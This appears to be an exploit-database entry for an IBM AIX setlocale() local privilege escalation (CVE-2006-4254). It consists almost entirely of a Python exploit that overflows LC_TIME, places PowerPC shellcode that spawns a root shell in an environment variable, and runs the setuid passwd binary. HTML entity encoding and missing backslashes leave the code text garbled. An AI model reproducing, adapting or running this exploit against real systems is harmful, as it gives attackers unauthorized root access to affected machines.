IBM AIX <= 5.3.0 setlocale() Local Privilege Escalation Exploit

2007-11-0800:00:00

Root

www.seebug.org

EPSS

0.011

Percentile

84.7%

JSON

No description provided by source.


                                                #
#setlocale() exploit for aix 5.2 ( CVE-2006-4254  )
#[email protected]
#
from os import execve

bof=&amp;quot;a&amp;quot;*580+&amp;quot;bbbbccccddddx2fxf2x28x2f&amp;quot;
egg=&amp;quot;x60&amp;quot;*2350
shellcode=(            # by intropy &amp;lt;at&amp;gt; caughq.org
&amp;quot;x7cxa5x2ax79&amp;quot;     # xor.    r5,r5,r5
&amp;quot;x40x82xffxfd&amp;quot;     # bnel    &amp;lt;shellcode&amp;gt;
&amp;quot;x7fxe8x02xa6&amp;quot;     # mflr    r31
&amp;quot;x3bxffx01x20&amp;quot;     # cal     r31,0x120(r31)
&amp;quot;x38x7fxffx08&amp;quot;     # cal     r3,-248(r31)
&amp;quot;x38x9fxffx10&amp;quot;     # cal     r4,-240(r31)
&amp;quot;x90x7fxffx10&amp;quot;     # st      r3,-240(r31)
&amp;quot;x90xbfxffx14&amp;quot;     # st      r5,-236(r31)
&amp;quot;x88x5fxffx0f&amp;quot;     # lbz     r2,-241(r31)
&amp;quot;x98xbfxffx0f&amp;quot;     # stb     r5,-241(r31)
&amp;quot;x4cxc6x33x42&amp;quot;     # crorc   cr6,cr6,cr6
&amp;quot;x44xffxffx02&amp;quot;     # svca
&amp;quot;/bin/sh&amp;quot;
&amp;quot;x05&amp;quot;)

execve(&amp;quot;/usr/bin/passwd&amp;quot;,[&amp;quot;&amp;quot;],{&amp;quot;EGG&amp;quot;:egg+shellcode,&amp;quot;LC_TIME&amp;quot;:bof})

# sebug.net